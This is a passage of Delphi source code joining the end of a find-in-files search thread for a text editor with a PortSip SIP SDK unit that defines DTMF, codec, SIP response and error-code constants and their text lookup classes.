procedure FindInFiles(const AFolderText: string);
public
constructor Create(const AFindWhatText, AFileTypeText, AFolderText: string;
ASearchCaseSensitive, AWholeWordsOnly, ALookInSubfolders: Boolean;
const AFileExtensions: string; const ASearchEngine: TBCEditorSearchEngine); overload;
procedure Execute; override;
property Count: Integer read FCount;
property FindWhatText: string read FFindWhatText;
property OnCancelSearch: TOnCancelSearch read FOnCancelSearch write FOnCancelSearch;
property OnProgressBarStep: TNotifyEvent read FOnProgressBarStep write FOnProgressBarStep;
property OnAddTreeViewLine: TOnAddTreeViewLine read FOnAddTreeViewLine write FOnAddTreeViewLine;
end;
implementation
uses
Winapi.Windows, System.SysUtils, BCControl.Utils, BCCommon.Language.Strings, Vcl.Forms, BCEditor.Encoding,
BCEditor.Editor.Utils, EditBone.Consts, BCCommon.FileUtils;
procedure TFindInFilesThread.Execute;
begin
Synchronize(
procedure
begin
FindInFiles(FFolderText)
end);
end;
constructor TFindInFilesThread.Create(const AFindWhatText, AFileTypeText, AFolderText: string;
ASearchCaseSensitive, AWholeWordsOnly, ALookInSubfolders: Boolean; const AFileExtensions: string;
const ASearchEngine: TBCEditorSearchEngine);
begin
inherited Create(True);
FreeOnTerminate := True;
FFileExtensions := AFileExtensions;
FFileTypeText := AFileTypeText;
FFolderText := AFolderText;
FFindWhatText := AFindWhatText;
FLookInSubfolders := ALookInSubfolders;
FCount := 0;
FEditor := TBCEditor.Create(nil);
with FEditor.Lines do
begin
OnBeforeSetText := nil;
OnAfterSetText := nil;
OnChange := nil;
OnChanging := nil;
OnCleared := nil;
end;
FEditor.Search.Enabled := True;
FEditor.Search.SetOption(soCaseSensitive, ASearchCaseSensitive);
FEditor.Search.SetOption(soWholeWordsOnly, AWholeWordsOnly);
FEditor.Search.Engine := ASearchEngine;
FEditor.Search.SearchText := AFindWhatText;
end;
procedure TFindInFilesThread.FindInFiles(const AFolderText: string);
var
LIndex: Integer;
LFileName: string;
LPSearchItem: PBCEditorSearchItem;
begin
try
for LFileName in BCCommon.FileUtils.GetFiles(AFolderText, FFileTypeText, FLookInSubfolders) do
begin
Application.ProcessMessages;
if Assigned(FOnCancelSearch) and FOnCancelSearch then
begin
Terminate;
Exit;
end;
if Assigned(FOnProgressBarStep) then
FOnProgressBarStep(Self);
try
FEditor.LoadFromFile(LFileName);
Inc(FCount, FEditor.Search.Lines.Count);
for LIndex := 0 to FEditor.Search.Lines.Count - 1 do
begin
LPSearchItem := PBCEditorSearchItem(FEditor.Search.Lines.Items[LIndex]);
if Assigned(FOnAddTreeViewLine) then
FOnAddTreeViewLine(Self, LFileName, LPSearchItem^.BeginTextPosition.Line, LPSearchItem^.BeginTextPosition.Char,
FEditor.Lines[LPSearchItem^.BeginTextPosition.Line], FEditor.Search.SearchText,
LPSearchItem^.EndTextPosition.Char - LPSearchItem^.BeginTextPosition.Char); // TODO: fix multiline
end;
except
if Assigned(FOnAddTreeViewLine) then
FOnAddTreeViewLine(Self, '', -1, 0, Format(LanguageDataModule.GetWarningMessage('FileAccessError'),
[LFileName]), '', 0);
end;
end;
finally
FEditor.Free;
end;
end;
end.
|
unit PortSipConsts;
interface
uses
classes,SysUtils;
const
LINE_BASE = 1;
MAXLINE = 8;
// DTMF
DTMF_0 = '0';
DTMF_1 = '1';
DTMF_2 = '2';
DTMF_3 = '3';
DTMF_4 = '4';
DTMF_5 = '5';
DTMF_6 = '6';
DTMF_7 = '7';
DTMF_8 = '8';
DTMF_9 = '9';
DTMF_star = '*';
DTMF_count = '#';
// DTMF_NUM
nDTMF_0 = 0;
nDTMF_1 = 1;
nDTMF_2 = 2;
nDTMF_3 = 3;
nDTMF_4 = 4;
nDTMF_5 = 5;
nDTMF_6 = 6;
nDTMF_7 = 7;
nDTMF_8 = 8;
nDTMF_9 = 9;
nDTMF_star = 10;
nDTMF_count = 11;
// LogLevel for Initialize
PORTSIP_LOG_NONE = -1;
PORTSIP_LOG_INFO = 0;
PORTSIP_LOG_WARNING = 1;
PORTSIP_LOG_ERROR = 2;
// SRTP Policy
SRTP_POLICY_NONE = 0;
SRTP_POLICY_FORCE = 1;
SRTP_POLICY_PREFER = 2;
// Transport type
TRANSPORT_UDP= 0;
TRANSPORT_TLS = 1;
TRANSPORT_TCP = 2;
// for audio codecs
AUDIOCODEC_G723 = 4; //8KHZ
AUDIOCODEC_G729 = 18; //8KHZ
AUDIOCODEC_PCMA = 8; //8KHZ
AUDIOCODEC_PCMU = 0; //8KHZ
AUDIOCODEC_GSM = 3; //8KHZ
AUDIOCODEC_G722 = 9; //16KHZ
AUDIOCODEC_ILBC = 97; //8KHZ
AUDIOCODEC_AMR = 98; //8KHZ
AUDIOCODEC_AMRWB = 99; //16KHZ
AUDIOCODEC_SPEEX = 100; //8KHZ
AUDIOCODEC_SPEEXWB = 102; //16KHZ
AUDIOCODEC_G7221 = 121; //16KHZ
AUDIOCODEC_ISACWB = 103; //16KHZ
AUDIOCODEC_ISACSWB = 104; //32KHZ
AUDIOCODEC_DTMF = 101;
// for video codecs
VIDEOCODEC_I420 = 113;
VIDEOCODEC_H263 = 34;
VIDEOCODEC_H263_1998 = 115;
VIDEOCODEC_H264 = 125;
VIDEOCODEC_VP8 = 120;
VIDEO_NONE = 0;
VIDEO_QCIF = 1; // 176X144 - for H263, H263-1998, H264
VIDEO_CIF = 2; // 352X288 - for H263, H263-1998, H264
VIDEO_VGA = 3; // 640X480 - for H264 only
VIDEO_SVGA = 4; // 800X600 - for H264 only
VIDEO_XVGA = 5; // 1024X768 - for H264 only
VIDEO_720P = 6; // 1280X768 - for H264 only
VIDEO_QVGA = 7; // 320x240 - for H264 only
// Audio record file format
FILEFORMAT_WAVE = 1;
FILEFORMAT_OGG = 2;
FILEFORMAT_MP3 = 3;
// Audio stream callback mode
AUDIOSTREAM_NONE = 0; // Disable audio stream callback
AUDIOSTREAM_LOCAL_MIX = 1; // Callback local audio stream
AUDIOSTREAM_LOCAL_PER_CHANNEL = 2; // Callback the audio stream from microphone for one channel base on the session ID
AUDIOSTREAM_REMOTE_MIX = 3; // Callback the received audio stream that mixed including all channels
AUDIOSTREAM_REMOTE_PER_CHANNEL = 4; // Callback the received audio stream for one channel base on the session ID
// Access video stream callback mode
VIDEOSTREAM_NONE = 0; // Disable video stream callback
VIDEOSTREAM_LOCAL = 1; // Local video stream callback
VIDEOSTREAM_REMOTE = 2; // Remote video stream callback
VIDEOSTREAM_BOTH = 3; // Both of local and remote video stream callback
// presence
PRESENCE_P2P = 0;
PRESENCE_AGENT = 1;
// For the audio callback
PORTSIP_LOCAL_MIX_ID = -1;
PORTSIP_REMOTE_MIX_ID = -2;
// Audio record mode
RECORD_RECV = 1;
RECORD_SEND = 2;
RECORD_BOTH = 3;
// Audio jitter buffer level
JITTER_SIZE_0 = 0;
JITTER_SIZE_5 = 1;
JITTER_SIZE_10 = 2; //default jitter buffer size
JITTER_SIZE_20 = 3;
// PRACK mode
UAC_PRACK_NONE = 0;
UAC_PRACK_SUPPORTED = 1;
UAC_PRACK_REQUIRED = 2;
UAS_PRACK_NONE = 3;
UAS_PRACK_SUPPORTED = 4;
UAS_PRACK_REQUIRED = 5;
// session timer refresh mode
SESSION_REFERESH_UAC = 0;
SESSION_REFERESH_UAS = 1;
// SIP Codes
SIPCODE_TRYING = 100; // Trying
SIPCODE_RINGING = 180; // Ringing
SIPCODE_CALL_IS_BEING_FORWARDED = 181; // Call Is Being Forwarded
SIPCODE_QUEUED = 182; // Queued
SIPCODE_SESSION_PROGRESS = 183; // Session Progress
SIPCODE_OK = 200; // OK
SIPCODE_ACCEPTED = 202; // accepted: Used for referrals
SIPCODE_MULTIPLE_CHOICES = 300; // Multiple Choices
SIPCODE_MOVED_PERMANENTLY = 301; // Moved Permanently
SIPCODE_MOVED_TEMPORARILY = 302; // Moved Temporarily
SIPCODE_USE_PROXY = 305; // Use Proxy
SIPCODE_ALTERNATIVE_SERVICE = 380; // Alternative Service
SIPCODE_BAD_REQUEST = 400; // Bad Request
SIPCODE_UNAUTHORIZED = 401; // Unauthorized: Used only by registrars. Proxys should use proxy authorization 407
SIPCODE_PAYMENT_REQUIRED = 402; // Payment Required (Reserved for future use)
SIPCODE_FORBIDDEN = 403; // Forbidden
SIPCODE_NOT_FOUND = 404; // Not Found: User not found
SIPCODE_METHOD_NOT_ALLOWED = 405; // Method Not Allowed
SIPCODE_NOT_ACCEPTABLE = 406; // Not Acceptable
SIPCODE_PROXY_AUTHENTICATION_REQUIRED = 407; // Proxy Authentication Required
SIPCODE_REQUEST_TIMEOUT = 408; // Request Timeout: Couldn't find the user in time
SIPCODE_CONFLICT = 409; // Conflict
SIPCODE_GONE = 410; // Gone: The user existed once, but is not available here any more.
SIPCODE_REQUEST_ENTITY_TOO_LARGE = 413; // Request Entity Too Large
SIPCODE_REQUEST_URI_TOO_LONG = 414; // Request-URI Too Long
SIPCODE_UNSUPPORTED_MEDIA_TYPE = 415; // Unsupported Media Type
SIPCODE_UNSUPPORTED_URI_SCHEME = 416; // Unsupported URI Scheme
SIPCODE_BAD_EXTENSION = 420; // Bad Extension: Bad SIP Protocol Extension used, not understood by the server
SIPCODE_EXTENSION_REQUIRED = 421; // Extension Required
SIPCODE_SESSION_INTERVAL_TOO_SMALL = 422; // Session Interval Too Small
SIPCODE_INTERVAL_TOO_BRIEF = 423; // Interval Too Brief
SIPCODE_TEMPORARILY_UNAVAILABLE = 480; // Temporarily Unavailable
SIPCODE_TRANSACTION_DOES_NOT_EXIST = 481; // Call/Transaction Does Not Exist
SIPCODE_LOOP_DETECTED = 482; // Loop Detected
SIPCODE_TOO_MANY_HOPS = 483; // Too Many Hops
SIPCODE_ADDRESS_INCOMPLETE = 484; // Address Incomplete
SIPCODE_AMBIGUOUS = 485; // Ambiguous
SIPCODE_BUSY_HERE = 486; // Busy Here
SIPCODE_REQUEST_TERMINATED = 487; // Request Terminated
SIPCODE_NOT_ACCEPTABLE_HERE = 488; // Not Acceptable Here
SIPCODE_REQUEST_PENDING = 491; // Request Pending
SIPCODE_UNDECIPHERABLE = 493; // Undecipherable: Could not decrypt S/MIME body part
SIPCODE_SERVER_INTERNAL_ERROR = 500; // Server Internal Error
SIPCODE_NOT_IMPLEMENTED = 501; // Not Implemented: The SIP request method is not implemented here
SIPCODE_BAD_GATEWAY = 502; // Bad Gateway
SIPCODE_SERVICE_UNAVAILABLE = 503; // Service Unavailable
SIPCODE_SERVER_TIME_OUT = 504; // Server Time-out
SIPCODE_VERSION_NOT_SUPPORTED = 505; // Version Not Supported: The server does not support this version of the SIP protocol
SIPCODE_MESSAGE_TOO_LARGE = 513; // Message Too Large
SIPCODE_BUSY_EVERYWHERE = 600; // Busy Everywhere
SIPCODE_DECLINE = 603; // Decline
SIPCODE_DOES_NOT_EXIST_ANYWHERE = 604; // Does Not Exist Anywhere
SIPCODE_NOT_ACCEPTABLE_2 = 606; // Not Acceptable
// Errors
INVALID_SESSION_ID = -1;
ECoreAlreadyInitialized = -60000;
ECoreNotInitialized = -60001;
ECoreSDKObjectNull = -60002;
ECoreArgumentNull = -60003;
ECoreInitializeWinsockFailure = -60004;
ECoreUserNameAuthNameEmpty = -60005;
ECoreInitiazeStackFailure = -60006;
ECorePortOutOfRange = -60007;
ECoreAddTcpTransportFailure = -60008;
ECoreAddTlsTransportFailure = -60009;
ECoreAddUdpTransportFailure = -60010;
ECoreMiniAudioPortOutOfRange = -60011;
ECoreMaxAudioPortOutOfRange = -60012;
ECoreMiniVideoPortOutOfRange = -60013;
ECoreMaxVideoPortOutOfRange = -60014;
ECoreMiniAudioPortNotEvenNumber = -60015;
ECoreMaxAudioPortNotEvenNumber = -60016;
ECoreMiniVideoPortNotEvenNumber = -60017;
ECoreMaxVideoPortNotEvenNumber = -60018;
ECoreAudioVideoPortOverlapped = -60019;
ECoreAudioVideoPortRangeTooSmall = -60020;
ECoreAlreadyRegistered = -60021;
ECoreSIPServerEmpty = -60022;
ECoreExpiresValueTooSmall = -60023;
ECoreCallIdNotFound = -60024;
ECoreNotRegistered = -60025;
ECoreCalleeEmpty = -60026;
ECoreInvalidUri = -60027;
ECoreAudioVideoCodecEmpty = -60028;
ECoreNoFreeDialogSession = -60029;
ECoreCreateAudioChannelFailed = -60030;
ECoreSessionTimerValueTooSmall = -60040;
ECoreAudioHandleNull = -60041;
ECoreVideoHandleNull = -60042;
ECoreCallIsClosed = -60043;
ECoreCallAlreadyHold = -60044;
ECoreCallNotEstablished = -60045;
ECoreCallNotHold = -60050;
ECoreSipMessaegEmpty = -60051;
ECoreSipHeaderNotExist = -60052;
ECoreSipHeaderValueEmpty = -60053;
ECoreSipHeaderBadFormed = -60054;
ECoreBufferTooSmall = -60055;
ECoreSipHeaderValueListEmpty = -60056;
ECoreSipHeaderParserEmpty = -60057;
ECoreSipHeaderValueListNull = -60058;
ECoreSipHeaderNameEmpty = -60059;
ECoreAudioSampleNotmultiple = -60060;
ECoreAudioSampleOutOfRange = -60061;
ECoreInviteSessionNotFound = -60062;
ECoreStackException = -60063;
ECoreMimeTypeUnknown = -60064;
ECoreDataSizeTooLarge = -60065;
ECoreSessionNumsOutOfRange = -60066;
ECoreNotSupportCallbackMode = -60067;
ECoreNotFoundSubscribeId = -60068;
ECoreCodecNotSupport = -60069;
ECoreCodecParameterNotSupport = -60070;
ECorePayloadOutofRange = -60071; // Dynamic Payload range is 96 - 127
ECorePayloadHasExist = -60072; // Duplicate Payload values are not allowed.
ECoreFixPayloadCantChange = -60073;
// audio
EAudioFileNameEmpty = -70000;
EAudioChannelNotFound = -70001;
EAudioStartRecordFailure = -70002;
EAudioRegisterRecodingFailure = -70003;
EAudioRegisterPlaybackFailure = -70004;
EAudioGetStatisticsFailure = -70005;
EAudioIsPlaying = -70006;
EAudioPlayObjectNotExist = -70007;
EAudioPlaySteamNotEnabled = -70008;
EAudioRegisterCallbackFailure = -70009;
EAudioCreateAudioConferenceFailure = -70010;
EAudioOpenPlayFileFailure = -70011;
EAudioPlayFileModeNotSupport = -70012;
EAudioPlayFileFormatNotSupport = -70013;
EAudioPlaySteamAlreadyEnabled = -70014;
EAudioCreateRecordFileFailure = -70015 ;
EAudioCodecNotSupport = -70016 ;
EAudioPlayFileNotEnabled = -70017 ;
EAudioPlayFileUnknowSeekOrigin = -70018 ;
// video
EVideoFileNameEmpty = -80000;
EVideoGetDeviceNameFailure = -80001;
EVideoGetDeviceIdFailure = -80002;
EVideoStartCaptureFailure = -80003;
EVideoChannelNotFound = -80004;
EVideoStartSendFailure = -80005;
EVideoGetStatisticsFailure = -80006;
EVideoStartPlayAviFailure = -80007;
EVideoSendAviFileFailure = -80008;
EVideoRecordUnknowCodec = -80009;
// Device
EDeviceGetDeviceNameFailure = -90001;
SIPCODEC_UNKNOWN='unknown codec %d';
SIPAUDIO_PCMA = 'PCMA';
SIPAUDIO_PCMU = 'PCMU';
SIPAUDIO_G729 = 'G729';
SIPAUDIO_G723 = 'G723';
SIPAUDIO_ILBC = 'ILBC';
SIPAUDIO_GSM = 'GSM';
SIPAUDIO_DTMF = 'DTMF';
SIPAUDIO_G722 = 'G722';
SIPAUDIO_AMR = 'AMR';
SIPAUDIO_AMRWB = 'AMRWB';
SIPAUDIO_G7221 = 'G7221';
SIPAUDIO_SPEEX = 'SPEEX';
SIPAUDIO_SPEEXWB = 'SPEEXWB';
SIPAUDIO_ISACWB = 'isac';
SIPAUDIO_ISACSWB = 'isac';
SIPVIDEO_I420 = 'I420';
SIPVIDEO_H263 = 'H263';
SIPVIDEO_H263_1998 = '1998';
SIPVIDEO_H264 = 'H264';
SIPVIDEO_VP8 = 'vp8';
resourcestring
SIPTEXT_TRYING = 'Trying'; // code 100
SIPTEXT_RINGING = 'Ringing'; // code 180
SIPTEXT_CALL_IS_BEING_FORWARDED = 'Call Is Being Forwarded'; // code 181
SIPTEXT_QUEUED = 'Queued'; // code 182
SIPTEXT_SESSION_PROGRESS = 'Session Progress'; // code 183
SIPTEXT_OK = 'OK'; // code 200
SIPTEXT_ACCEPTED = 'accepted: Used for referrals'; // code 202
SIPTEXT_MULTIPLE_CHOICES = 'Multiple Choices'; // code 300
SIPTEXT_MOVED_PERMANENTLY = 'Moved Permanently'; // code 301
SIPTEXT_MOVED_TEMPORARILY = 'Moved Temporarily'; // code 302
SIPTEXT_USE_PROXY = 'Use Proxy'; // code 305
SIPTEXT_ALTERNATIVE_SERVICE = 'Alternative Service'; // code 380
SIPTEXT_BAD_REQUEST = 'Bad Request'; // code 400
SIPTEXT_UNAUTHORIZED = 'Unauthorized: Used only by registrars. Proxys should use proxy authorization 407'; // code 401
SIPTEXT_PAYMENT_REQUIRED = 'Payment Required (Reserved for future use)'; // code 402
SIPTEXT_FORBIDDEN = 'Forbidden'; // code 403
SIPTEXT_NOT_FOUND = 'Not Found: User not found'; // code 404
SIPTEXT_METHOD_NOT_ALLOWED = 'Method Not Allowed'; // code 405
SIPTEXT_NOT_ACCEPTABLE = 'Not Acceptable'; // code 406
SIPTEXT_PROXY_AUTHENTICATION_REQUIRED = 'Proxy Authentication Required'; // code 407
SIPTEXT_REQUEST_TIMEOUT = 'Request Timeout: Couldn''t find the user in time'; // code 408
SIPTEXT_CONFLICT = 'Conflict'; // code 409
SIPTEXT_GONE = 'Gone: The user existed once, but is not available here any more.'; // code 410
SIPTEXT_REQUEST_ENTITY_TOO_LARGE = 'Request Entity Too Large'; // code 413
SIPTEXT_REQUEST_URI_TOO_LONG = 'Request-URI Too Long'; // code 414
SIPTEXT_UNSUPPORTED_MEDIA_TYPE = 'Unsupported Media Type'; // code 415
SIPTEXT_UNSUPPORTED_URI_SCHEME = 'Unsupported URI Scheme'; // code 416
SIPTEXT_BAD_EXTENSION = 'Bad Extension: Bad SIP Protocol Extension used, not understood by the server'; // code 420
SIPTEXT_EXTENSION_REQUIRED = 'Extension Required'; // code 421
SIPTEXT_SESSION_INTERVAL_TOO_SMALL = 'Session Interval Too Small'; // code 422
SIPTEXT_INTERVAL_TOO_BRIEF = 'Interval Too Brief'; // code 423
SIPTEXT_TEMPORARILY_UNAVAILABLE = 'Temporarily Unavailable'; // code 480
SIPTEXT_TRANSACTION_DOES_NOT_EXIST = 'Call/Transaction Does Not Exist'; // code 481
SIPTEXT_LOOP_DETECTED = 'Loop Detected'; // code 482
SIPTEXT_TOO_MANY_HOPS = 'Too Many Hops'; // code 483
SIPTEXT_ADDRESS_INCOMPLETE = 'Address Incomplete'; // code 484
SIPTEXT_AMBIGUOUS = 'Ambiguous'; // code 485
SIPTEXT_BUSY_HERE = 'Busy Here'; // code 486
SIPTEXT_REQUEST_TERMINATED = 'Request Terminated'; // code 487
SIPTEXT_NOT_ACCEPTABLE_HERE = 'Not Acceptable Here'; // code 488
SIPTEXT_REQUEST_PENDING = 'Request Pending'; // code 491
SIPTEXT_UNDECIPHERABLE = 'Undecipherable: Could not decrypt S/MIME body part'; // code 493
SIPTEXT_SERVER_INTERNAL_ERROR = 'Server Internal Error'; // code 500
SIPTEXT_NOT_IMPLEMENTED = 'Not Implemented: The SIP request method is not implemented here'; // code 501
SIPTEXT_BAD_GATEWAY = 'Bad Gateway'; // code 502
SIPTEXT_SERVICE_UNAVAILABLE = 'Service Unavailable'; // code 503
SIPTEXT_SERVER_TIME_OUT = 'Server Time-out'; // code 504
SIPTEXT_VERSION_NOT_SUPPORTED = 'Version Not Supported: The server does not support this version of the SIP protocol'; // code 505
SIPTEXT_MESSAGE_TOO_LARGE = 'Message Too Large'; // code 513
SIPTEXT_BUSY_EVERYWHERE = 'Busy Everywhere'; // code 600
SIPTEXT_DECLINE = 'Decline'; // code 603
SIPTEXT_DOES_NOT_EXIST_ANYWHERE = 'Does Not Exist Anywhere'; // code 604
SIPTEXT_NOT_ACCEPTABLE_2 = 'Not Acceptable'; // code 606
SIPTEXT_UNKNOWN = 'Unknown Code %d';
ERRTXT_ECoreAlreadyInitialized = 'Already Initialized';
ERRTXT_ECoreNotInitialized = 'Not Initialized';
ERRTXT_ECoreSDKObjectNull = 'SDK Object Null';
ERRTXT_ECoreArgumentNull = 'Argument Null';
ERRTXT_ECoreInitializeWinsockFailure = 'Initialize Winsock Failure';
ERRTXT_ECoreUserNameAuthNameEmpty = 'User Name Or Auth Name Empty';
ERRTXT_ECoreInitiazeStackFailure = 'Initialize Stack Failure';
ERRTXT_ECorePortOutOfRange = 'Port Out Of Range';
ERRTXT_ECoreAddTcpTransportFailure = 'Add Tcp Transport Failure';
ERRTXT_ECoreAddTlsTransportFailure = 'Add Tls Transport Failure';
ERRTXT_ECoreAddUdpTransportFailure = 'Add Udp Transport Failure';
ERRTXT_ECoreMiniAudioPortOutOfRange = 'Min Audio Port Out Of Range';
ERRTXT_ECoreMaxAudioPortOutOfRange = 'Max Audio Port Out Of Range';
ERRTXT_ECoreMiniVideoPortOutOfRange = 'Min Video Port Out Of Range';
ERRTXT_ECoreMaxVideoPortOutOfRange = 'Max Video Port Out Of Range';
ERRTXT_ECoreMiniAudioPortNotEvenNumber = 'Min Audio Port Not Even Number';
ERRTXT_ECoreMaxAudioPortNotEvenNumber = 'Max Audio Port Not Even Number';
ERRTXT_ECoreMiniVideoPortNotEvenNumber = 'Min Video Port Not Even Number';
ERRTXT_ECoreMaxVideoPortNotEvenNumber = 'Max Video Port Not Even Number';
ERRTXT_ECoreAudioVideoPortOverlapped = 'Audio Video Port Overlapped';
ERRTXT_ECoreAudioVideoPortRangeTooSmall = 'Audio Video Port Range Too Small';
ERRTXT_ECoreAlreadyRegistered = 'Already Registered';
ERRTXT_ECoreSIPServerEmpty = 'SIP Server Empty';
ERRTXT_ECoreExpiresValueTooSmall = 'Expires Value Too Small';
ERRTXT_ECoreCallIdNotFound = 'Call Id Not Found';
ERRTXT_ECoreNotRegistered = 'Not Registered';
ERRTXT_ECoreCalleeEmpty = 'Callee Empty';
ERRTXT_ECoreInvalidUri = 'Invalid Uri';
ERRTXT_ECoreAudioVideoCodecEmpty = 'Audio Video Codec Empty';
ERRTXT_ECoreNoFreeDialogSession = 'No Free Dialog Session';
ERRTXT_ECoreCreateAudioChannelFailed = 'Create Audio Channel Failed';
ERRTXT_ECoreSessionTimerValueTooSmall = 'Session Timer Value Too Small';
ERRTXT_ECoreAudioHandleNull = 'Audio Handle Null';
ERRTXT_ECoreVideoHandleNull = 'Video Handle Null';
ERRTXT_ECoreCallIsClosed = 'Call Is Closed';
ERRTXT_ECoreCallAlreadyHold = 'Call Already Hold';
ERRTXT_ECoreCallNotEstablished = 'Call Not Established';
ERRTXT_ECoreCallNotHold = 'Call Not Hold';
ERRTXT_ECoreSipMessaegEmpty = 'Sip Messaeg Empty';
ERRTXT_ECoreSipHeaderNotExist = 'Sip Header Not Exist';
ERRTXT_ECoreSipHeaderValueEmpty = 'Sip Header Value Empty';
ERRTXT_ECoreSipHeaderBadFormed = 'Sip Header Bad Formed';
ERRTXT_ECoreBufferTooSmall = 'Buffer Too Small';
ERRTXT_ECoreSipHeaderValueListEmpty = 'Sip Header Value List Empty';
ERRTXT_ECoreSipHeaderParserEmpty = 'Sip Header Parser Empty';
ERRTXT_ECoreSipHeaderValueListNull = 'Sip Header Value List Null';
ERRTXT_ECoreSipHeaderNameEmpty = 'Sip Header Name Empty';
ERRTXT_ECoreAudioSampleNotmultiple = 'Audio Sample Notmultiple';
ERRTXT_ECoreAudioSampleOutOfRange = 'Audio Sample Out Of Range';
ERRTXT_ECoreInviteSessionNotFound = 'Invite Session Not Found';
ERRTXT_ECoreStackException = 'Stack Exception';
ERRTXT_ECoreMimeTypeUnknown = 'Mime Type Unknown';
ERRTXT_ECoreDataSizeTooLarge = 'Data Size Too Large';
ERRTXT_ECoreSessionNumsOutOfRange = 'Session Nums Out Of Range';
ERRTXT_ECoreNotSupportCallbackMode = 'Not Support Callback Mode';
ERRTXT_ECoreNotFoundSubscribeId = 'Not Found Subscribe Id';
ERRTXT_ECoreCodecNotSupport = 'Not Support Codec';
ERRTXT_ECoreCodecParameterNotSupport = 'Not Support Codec Parameter';
ERRTEXT_UNKNOWN = 'Unknown Code %d';
// audio // audio
ERRTXT_EAudioFileNameEmpty = 'File Name Empty';
ERRTXT_EAudioChannelNotFound = 'Channel Not Found';
ERRTXT_EAudioStartRecordFailure = 'Start Record Failure';
ERRTXT_EAudioRegisterRecodingFailure = 'Register Recoding Failure';
ERRTXT_EAudioRegisterPlaybackFailure = 'Register Playback Failure';
ERRTXT_EAudioGetStatisticsFailure = 'Get Statistics Failure';
ERRTXT_EAudioIsPlaying = 'Is Playing';
ERRTXT_EAudioPlayObjectNotExist = 'Play Object Not Exist';
ERRTXT_EAudioPlaySteamNotEnabled = 'Play Stream Not Enabled';
ERRTXT_EAudioRegisterCallbackFailure = 'Register Callback Failure';
// video // video
ERRTXT_EVideoFileNameEmpty = 'File Name Empty';
ERRTXT_EVideoGetDeviceNameFailure = 'Get Device Name Failure';
ERRTXT_EVideoGetDeviceIdFailure = 'Get Device Id Failure';
ERRTXT_EVideoStartCaptureFailure = 'Start Capture Failure';
ERRTXT_EVideoChannelNotFound = 'Channel Not Found';
ERRTXT_EVideoStartSendFailure = 'Start Send Failure';
ERRTXT_EVideoGetStatisticsFailure = 'Get Statistics Failure';
ERRTXT_EVideoStartPlayAviFailure = 'Start Play Avi Failure';
ERRTXT_EVideoSendAviFileFailure = 'Send Avi File Failure';
// Device // Device
ERRTXT_EDeviceGetDeviceNameFailure = 'Get Device Name Failure';
type
TSIPTexts = class(TStringList)
public
function GetMessage(ID:integer):string;
constructor create;
end;
TErrTexts = class(TStringList)
public
function GetMessage(ID:integer):string;
constructor create;
end;
TSIPCodecs = class(TStringList)
public
function GetName(ID:integer):string;
function GetID(const Name:string):integer;
end;
TSIPACodecs = class(TSIPCodecs)
public
constructor create;
end;
TSIPVCodecs = class(TSIPCodecs)
public
constructor create;
end;
implementation
{ TSIPTexts }
constructor TSIPTexts.create;
begin
inherited;
AddObject(SIPTEXT_TRYING,Pointer(SIPCODE_TRYING));
AddObject(SIPTEXT_RINGING,Pointer(SIPCODE_RINGING));
AddObject(SIPTEXT_CALL_IS_BEING_FORWARDED,Pointer(SIPCODE_CALL_IS_BEING_FORWARDED));
AddObject(SIPTEXT_QUEUED,Pointer(SIPCODE_QUEUED));
AddObject(SIPTEXT_SESSION_PROGRESS,Pointer(SIPCODE_SESSION_PROGRESS));
AddObject(SIPTEXT_OK,Pointer(SIPCODE_OK));
AddObject(SIPTEXT_ACCEPTED,Pointer(SIPCODE_ACCEPTED));
AddObject(SIPTEXT_MULTIPLE_CHOICES,Pointer(SIPCODE_MULTIPLE_CHOICES));
AddObject(SIPTEXT_MOVED_PERMANENTLY,Pointer(SIPCODE_MOVED_PERMANENTLY));
AddObject(SIPTEXT_MOVED_TEMPORARILY,Pointer(SIPCODE_MOVED_TEMPORARILY));
AddObject(SIPTEXT_USE_PROXY,Pointer(SIPCODE_USE_PROXY));
AddObject(SIPTEXT_ALTERNATIVE_SERVICE,Pointer(SIPCODE_ALTERNATIVE_SERVICE));
AddObject(SIPTEXT_BAD_REQUEST,Pointer(SIPCODE_BAD_REQUEST));
AddObject(SIPTEXT_UNAUTHORIZED,Pointer(SIPCODE_UNAUTHORIZED));
AddObject(SIPTEXT_PAYMENT_REQUIRED,Pointer(SIPCODE_PAYMENT_REQUIRED));
AddObject(SIPTEXT_FORBIDDEN,Pointer(SIPCODE_FORBIDDEN));
AddObject(SIPTEXT_NOT_FOUND,Pointer(SIPCODE_NOT_FOUND));
AddObject(SIPTEXT_METHOD_NOT_ALLOWED,Pointer(SIPCODE_METHOD_NOT_ALLOWED));
AddObject(SIPTEXT_NOT_ACCEPTABLE,Pointer(SIPCODE_NOT_ACCEPTABLE));
AddObject(SIPTEXT_PROXY_AUTHENTICATION_REQUIRED,Pointer(SIPCODE_PROXY_AUTHENTICATION_REQUIRED));
AddObject(SIPTEXT_REQUEST_TIMEOUT,Pointer(SIPCODE_REQUEST_TIMEOUT));
AddObject(SIPTEXT_CONFLICT,Pointer(SIPCODE_CONFLICT));
AddObject(SIPTEXT_GONE,Pointer(SIPCODE_GONE));
AddObject(SIPTEXT_REQUEST_ENTITY_TOO_LARGE,Pointer(SIPCODE_REQUEST_ENTITY_TOO_LARGE));
AddObject(SIPTEXT_REQUEST_URI_TOO_LONG,Pointer(SIPCODE_REQUEST_URI_TOO_LONG));
AddObject(SIPTEXT_UNSUPPORTED_MEDIA_TYPE,Pointer(SIPCODE_UNSUPPORTED_MEDIA_TYPE));
AddObject(SIPTEXT_UNSUPPORTED_URI_SCHEME,Pointer(SIPCODE_UNSUPPORTED_URI_SCHEME));
AddObject(SIPTEXT_BAD_EXTENSION,Pointer(SIPCODE_BAD_EXTENSION));
AddObject(SIPTEXT_EXTENSION_REQUIRED,Pointer(SIPCODE_EXTENSION_REQUIRED));
AddObject(SIPTEXT_SESSION_INTERVAL_TOO_SMALL,Pointer(SIPCODE_SESSION_INTERVAL_TOO_SMALL));
AddObject(SIPTEXT_INTERVAL_TOO_BRIEF,Pointer(SIPCODE_INTERVAL_TOO_BRIEF));
AddObject(SIPTEXT_TEMPORARILY_UNAVAILABLE,Pointer(SIPCODE_TEMPORARILY_UNAVAILABLE));
AddObject(SIPTEXT_TRANSACTION_DOES_NOT_EXIST,Pointer(SIPCODE_TRANSACTION_DOES_NOT_EXIST));
AddObject(SIPTEXT_LOOP_DETECTED,Pointer(SIPCODE_LOOP_DETECTED));
AddObject(SIPTEXT_TOO_MANY_HOPS,Pointer(SIPCODE_TOO_MANY_HOPS));
AddObject(SIPTEXT_ADDRESS_INCOMPLETE,Pointer(SIPCODE_ADDRESS_INCOMPLETE));
AddObject(SIPTEXT_AMBIGUOUS,Pointer(SIPCODE_AMBIGUOUS));
